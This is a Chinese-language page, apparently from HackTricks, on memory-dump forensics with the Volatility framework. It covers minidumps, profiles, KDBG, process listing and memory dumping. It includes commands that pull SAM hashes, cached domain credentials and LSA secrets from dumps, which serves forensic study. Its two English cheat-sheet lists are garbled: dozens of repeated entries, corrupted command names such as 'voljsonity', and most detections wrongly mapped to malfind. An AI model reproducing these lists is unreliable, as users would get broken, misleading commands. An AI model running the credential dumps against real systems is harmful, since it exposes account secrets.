开始在pcap文件中**搜索** **恶意软件**。 使用[**恶意软件分析**](/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis)中提到的**工具**。

## [Volatility](/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet)

**Volatility是主要的开源内存转储分析框架**。 这个Python工具分析来自外部来源或VMware虚拟机的转储，根据转储的操作系统配置文件识别数据，如进程和密码。 它可以通过插件进行扩展，使其在法医调查中非常灵活。

[**在这里找到一个速查表**](/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet)

## 迷你转储崩溃报告

当转储文件很小（只有几KB，也许几MB）时，它可能是一个迷你转储崩溃报告，而不是内存转储。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-0cedb9f7717ab56e7bec8a55059460b8d909213e%2Fimage%20\(216\).png?alt=media)

如果您安装了Visual Studio，您可以打开此文件并绑定一些基本信息，如进程名称、架构、异常信息和正在执行的模块：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-a15396d7921ec411dd889b31f1a518fda22f042c%2Fimage%20\(217\).png?alt=media)

您还可以加载异常并查看反编译的指令

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-bf397199adff334fe6d61ede284759ac64b7e7f4%2Fimage%20\(219\).png?alt=media)

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-10ec725982636f60b63b0bc8f5e0f0d5b32882f8%2Fimage%20\(218\)%20\(1\).png?alt=media)

无论如何，Visual Studio并不是执行深度分析的最佳工具。

您应该使用IDA或Radare打开它以深入检查。

​

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一，也是**欧洲**最重要的之一。 以**促进技术知识**为使命，这个大会是技术和网络安全专业人士在各个领域的热点交流会。

{% embed url="<https://www.rootedcon.com/>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中做广告**？ 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 发现我们的独家[NFT收藏品**PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS＆HackTricks商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。

</details>


# Volatility - CheatSheet

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS＆HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

​

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

​​[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一，也是**欧洲**最重要的之一。作为促进技术知识的使命，这个大会是技术和网络安全专业人士在各个领域的热点聚会。

{% embed url="<https://www.rootedcon.com/>" %}

如果您想要**快速疯狂**地同时运行多个Volatility插件，可以使用：<https://github.com/carlospolop/autoVolatility>

```bash
python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # It will use the most important plugins (could use a lot of space depending on the size of the memory)
```

## 安装

### volatility3

```bash
git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3
python3 setup.py install
python3 vol.py —h
```

### volatility2

{% tabs %}
{% tab title="方法1" %}

```
Download the executable from https://www.volatilityfoundation.org/26
```

{% endtab %}

{% tab title="方法2" %}

```bash
git clone https://github.com/volatilityfoundation/volatility.git
cd volatility
python setup.py install
```

{% endtab %}
{% endtabs %}

## Volatility Commands

访问[Volatility命令参考](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan)中的官方文档

### “list”与“scan”插件的说明

Volatility有两种主要的插件方法，有时可以从它们的名称中反映出来。“list”插件将尝试浏览Windows内核结构，以检索诸如进程（在内存中定位和遍历`_EPROCESS`结构的链接列表）、操作系统句柄（定位和列出句柄表，取消引用找到的任何指针等）等信息。它们的行为几乎与请求Windows API列出进程时的行为相同。

这使得“list”插件非常快速，但与Windows API一样容易受到恶意软件的操纵。例如，如果恶意软件使用DKOM从`_EPROCESS`链接列表中取消链接一个进程，它将不会显示在任务管理器中，pslist中也不会显示。

另一方面，“scan”插件将采用类似于在内存中雕刻可能在解除引用为特定结构时有意义的内容的方法。例如，`psscan`将读取内存并尝试从中创建`_EPROCESS`对象（它使用池标签扫描，搜索指示感兴趣结构存在的4字节字符串）。优点是它可以找到已退出的进程，即使恶意软件篡改了`_EPROCESS`链接列表，插件仍将在内存中找到该结构（因为该结构仍然需要存在以使进程运行）。缺点是“scan”插件比“list”插件慢一些，有时可能产生误报（进程已退出太久，其结构的部分被其他操作覆盖）。

来源：<http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/>

## 操作系统配置文件

### Volatility3

如readme中所述，您需要将要支持的操作系统的**符号表**放入\_volatility3/volatility/symbols\_中。\
各种操作系统的符号表包可在以下位置下载：

* <https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip>
* <https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip>
* <https://downloads.volatilityfoundation.org/volatility3/symbols/linux.zip>

### Volatility2

#### 外部配置文件

您可以执行以下操作获取支持的配置文件列表：

```bash
./volatility_2.6_lin64_standalone --info | grep "Profile"
```

如果要使用**您已下载的新配置文件**（例如 Linux 配置文件），您需要在某个地方创建以下文件夹结构：*plugins/overlays/linux*，并将包含配置文件的 zip 文件放入此文件夹中。然后，使用以下命令获取配置文件的编号：

```bash
./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info
Volatility Foundation Volatility Framework 2.6


Profiles
--------
LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 - A Profile for Linux CentOS7_3.10.0-123.el7.x86_64_profile x64
VistaSP0x64                                   - A Profile for Windows Vista SP0 x64
VistaSP0x86                                   - A Profile for Windows Vista SP0 x86
```

您可以从<https://github.com/volatilityfoundation/profiles>下载Linux和Mac配置文件。

在前面的片段中，您可以看到配置文件被称为`LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`，您可以使用它来执行类似以下操作：

```bash
./vol -f file.dmp --plugins=. --profile=LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 linux_netscan
```

#### 发现配置文件

```
volatility imageinfo -f file.dmp
volatility kdbgscan -f file.dmp
```

#### **imageinfo 与 kdbgscan 之间的区别**

[**从这里**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)：与仅提供配置文件建议的 imageinfo 相反，**kdbgscan** 旨在积极识别正确的配置文件和正确的 KDBG 地址（如果存在多个）。该插件扫描与 Volatility 配置文件相关联的 KDBGHeader 签名，并应用合理性检查以减少误报。输出的详细程度和可以执行的合理性检查数量取决于 Volatility 是否能够找到 DTB，因此，如果您已经知道正确的配置文件（或者从 imageinfo 获得了配置文件建议），请确保使用它。

始终查看 **kdbgscan 找到的进程数量**。有时，imageinfo 和 kdbgscan 可能会找到 **多个**适合的 **配置文件**，但只有 **有效的配置文件** 才会有一些与进程相关的内容（这是因为提取进程需要正确的 KDBG 地址）。

```bash
# GOOD
PsActiveProcessHead           : 0xfffff800011977f0 (37 processes)
PsLoadedModuleList            : 0xfffff8000119aae0 (116 modules)
```

```bash
# BAD
PsActiveProcessHead           : 0xfffff800011947f0 (0 processes)
PsLoadedModuleList            : 0xfffff80001197ac0 (0 modules)
```

#### KDBG

**内核调试器块**，由Volatility称为**KDBG**，对于Volatility和各种调试器执行的取证任务至关重要。被标识为`KdDebuggerDataBlock`，类型为`_KDDEBUGGER_DATA64`，其中包含诸如`PsActiveProcessHead`之类的关键引用。这个特定引用指向进程列表的头部，使得能够列出所有进程，这对于彻底的内存分析至关重要。

## 操作系统信息

```bash
#vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info)
./vol.py -f file.dmp windows.info.Info
```

插件`banners.Banners`可在**vol3中用于尝试在转储文件中查找Linux横幅**。

## Hashes/密码

提取SAM哈希值，[域缓存凭据](/windows-hardening/stealing-credentials/credentials-protections#cached-credentials)和[lsa secrets](/windows-hardening/authentication-credentials-uac-and-efs#lsa-secrets)。

```bash
./vol.py -f file.dmp windows.hashdump.Hashdump #Grab common windows hashes (SAM+SYSTEM)
./vol.py -f file.dmp windows.cachedump.Cachedump #Grab domain cache hashes inside the registry
./vol.py -f file.dmp windows.lsadump.Lsadump #Grab lsa secrets
```

#### Volatility Cheat Sheet

**Basic Commands**

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Dumping a File**
  * `volvality -f <memory_dump> --profile=<profile> dumpfiles -Q <physical_offset> -D <output_directory>`

**Advanced Commands**

* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Analyzing Registry**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Extracting DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist -p <pid>`
* **Analyzing Drivers** json
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Identifying Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockscan`
* **Analyzing Timelime**
  * `volatility -f <memory_dump> --profile=<profile> timeliner`
* **Analyzing Packed Binaries**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handle`
* **Analyzing Process Memory**
  * `volatility -f <memory_dump> --profile=<profile> memmap`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlldump -p <pid>`
* **Analyzing Process Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo -p <pid>`

```bash
volatility --profile=Win7SP1x86_23418 hashdump -f file.dmp #Grab common windows hashes (SAM+SYSTEM)
volatility --profile=Win7SP1x86_23418 cachedump -f file.dmp #Grab domain cache hashes inside the registry
volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets
```

### 内存转储

进程的内存转储将提取进程当前状态的所有内容。**procdump** 模块将仅提取**代码**。

```
volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/
```

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一，也是**欧洲**最重要的之一。以**促进技术知识**为使命，这个大会是技术和网络安全专业人士在各个领域的热点交流会。

{% embed url="<https://www.rootedcon.com/>" %}

### 进程

#### 列出进程

尝试查找**可疑**进程（按名称）或**意外**的子**进程**（例如，cmd.exe 作为 iexplorer.exe 的子进程）。\
比较 pslist 的结果和 psscan 的结果以识别隐藏进程可能会很有趣。

```bash
python3 vol.py -f file.dmp windows.pstree.PsTree # Get processes tree (not hidden)
python3 vol.py -f file.dmp windows.pslist.PsList # Get process list (EPROCESS)
python3 vol.py -f file.dmp windows.psscan.PsScan # Get hidden process list(malware)
```

#### Volatility Cheat Sheet

**Basic Commands**

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `voljsonity -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist -p <pid>`
* **Dumping a DLL**
  * `volatility -f <memory_dump> --profile=<profile> dlldump -p <pid> -D <output_directory>`
* **Listing Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockscan`
* **Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Registry Analysis**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Dumping Registry Hive**
  * `volatility -f <memory_dump> --profile=<profile> dumpregistry -o <offset> -D <output_directory>`
* **File Analysis**
  * `voljsonity -f <memory_dump> --profile=<profile> filescan`
* **Dumping a File** json - `volatility -f <memory_dump> --profile=<profile> dumpfiles -Q <address_range> -D <output_directory>`
* **Kernel Modules**
  * `volatility -f <memory_dump> --profile=<profile> modscan`
* **Driver Modules**
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Crash Dump Analysis**
  * `volatility -f <memory_dump> --profile=<profile> memmap`
* **Process Environment Variables**
  * `volatility -f <memory_dump> --profile=<profile> envars -p <pid>`
* **Command History**
  * `volatility -f <memory_dump> --profile=<profile> cmdscan`
* **User Accounts** json - `volatility -f <memory_dump> --profile=<profile> userassist`
* **Screenshots**
  * `volatility -f <memory_dump> --profile=<profile> screenshot -D <output_directory>`
* **Yara Scanning**
  * `volatility -f <memory_dump> --profile=<profile> yarascan --yara-file=<rules_file>`
* **API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Detecting Hidden Drivers**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Detecting Hidden Objects**
  * `volvoljsonity -f <memory_dump> --profile=<profile> hiddenevents`
* **Detecting Rootkits**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Injection**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting API-Hooking**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting SSDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting IDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Inline Hooks**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Hollow Processes**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked Processes**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked DLLs**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked Drivers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked File Objects**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked Mutant Objects**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked Registry Objects**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked Token Objects**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked Desktop Objects**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked Keyed Event Objects**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked Io Completion Objects**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked Timer Objects**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked ALPC Ports**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
